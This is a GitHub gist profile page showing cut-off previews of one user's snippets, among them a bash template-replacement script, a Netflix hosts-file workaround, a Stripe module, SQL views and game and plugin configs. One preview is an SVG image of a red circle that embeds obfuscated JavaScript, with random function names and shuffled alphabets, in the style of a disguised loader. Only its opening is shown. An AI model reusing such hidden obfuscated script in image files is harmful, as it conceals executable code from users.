Skip to content

Instantly share code, notes, and snippets.

View ticklemynausea's full-sized avatar
🫠
this is fine

Mário Carneiro ticklemynausea

🫠
this is fine
View GitHub Profile
#!/bin/bash
#
# replace.sh
#
# Replace template-like sequences in text files with the value of similarly named environment
# variables that the script knows about.
#
# For example, for a file named test.txt with the contents `{{HOME}} is where the {{THING}} is`,
# running `THING=heart replace.sh . test.txt` would transform the contents of the file into
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle cx="250" cy="250" r="50" fill="red" />
<script type="text/javascript"><![CDATA[
function wjzsxywn(pmlhj,zyflm,invur){
var vgnvcw = "A:F26GnPZ/Ddrxg.SJBkCOvLl9sIR3ueH8UTib4j7fzM=NmcY?ph1X0aKo5t_EVy";
var vttshb = ["aLT?4CJdciDkSM289H6y0K=Pjr_GlxE.s17fB:ZNX3Yhm5egVnUROIzAuoFvp\/bt","=a5bxsY2Eh3j?A_fpNR.evFuGlk7gCU8mcHMDBdiPKZX6S9nrTJ1Otoz:LyI\/4V0","4y7ItU2G0gexTJClF3Mm:RfZp6VYSDi.X?Hb9duBv=5NOs\/hL8cEnrKPzoA1ajk_","1dz2hlKeN05SMIafAmpuiyGXx\/4?EU3j.rck6Y7sCt_Lb9=ZTHPnvD8J:RBFOoVg","6StKY7.BlUE1Hps2LF9T53cObn:?aDRJxiXyVuhvI_edr8N=k4PA\/MGCgZzjfmo0","o=8vinYTI5DHmB4dM7LA0PFs6eyCc_2VfjgxSGaKEJhr3tX9.zp\/NbkU?luROZ1:","HXGOJvY93dkLi=.FD6MajC4Z8UbRnVB1o7fES_eKrNp?T0:mlcugs\/5tIPhy2zAx","Du.I=9ak?i\/:OyXemGNJtxfLgY8AT5ZMcv3rH4h_d6jBsV2zEb0pRoF1K7SPnlUC"];
var unpdo = "";
var cuapui = 0;
{
"aliasesF": [
"f"
],
"worldsClaimingEnabled": {
"standard": true,
"exceptions": []
},
"worldsPowerLossEnabled": {
"standard": true,
# netflix crap to avoid using ipv6
52.19.40.147 netflix.com www.netflix.com
176.34.151.201 netflix.com www.netflix.com
52.208.15.16 netflix.com www.netflix.com
52.18.236.154 netflix.com www.netflix.com
52.18.221.38 netflix.com www.netflix.com
52.17.227.174 netflix.com www.netflix.com
52.209.158.203 netflix.com www.netflix.com
54.77.81.254 netflix.com www.netflix.com
23.207.73.64 assets.nflxext.com
{
"frames": {
"oral_initial": [
"room",
"oral_base",
"oral_frame1"
],
"oral_frame1": [
"oral_frame1"
],
'use strict';
var Promise = require('bluebird');
var Stripe = require('stripe');
var config = include('config');
var stripe = Stripe(config.get('/stripe/secretKey'));
var internals = {};
BEGIN;
CREATE OR REPLACE VIEW UserActiveStatus AS (
SELECT us1.*
FROM "UserStatus" us1
LEFT JOIN "UserStatus" us2 ON (us1."UserId" = us2."UserId" AND us1."updatedAt" < us2."updatedAt")
WHERE us2."id" IS NULL
);
CREATE OR REPLACE FUNCTION UserActiveStatus_trg_ioi_fn()
RETURNS TRIGGER
select * from (
select 'a'||lpad(level, 5,'0') as linha,
rpad(' ', &altura-level, ' ') || rpad('*', 2*level-1, '*') as arvorezinha
from dual
connect by level <= &altura
union
select 't'||lpad(level, 5,'0') as linha,
rpad(' ', ((2*&altura-1)/4)+1, ' ')||rpad('#', (2*&altura-1)/2, '#')
from dual
where mod(&altura, 2) = 0
@ticklemynausea
ticklemynausea / .all
Created May 12, 2016 22:41 — forked from markjaquith/.all
Bash stuff
for f in ~/Dropbox/bash/*; do source $f; done
# ----------------------------------------------------
# AutoMessage Configuration File
# ----------------------------------------------------
# Message Configuration:
# Messages are handled in lists to allow for advanced customization!
# Feel free to add color codes by using & in your messages!
# To split a message onto multiple lines use the \n delimiter!
# Lines starting with / will be run as a command!
# To add single apostrophes into a message use ''.
# For a complete tutorial go to http://dev.bukkit.org/server-mods/automessage.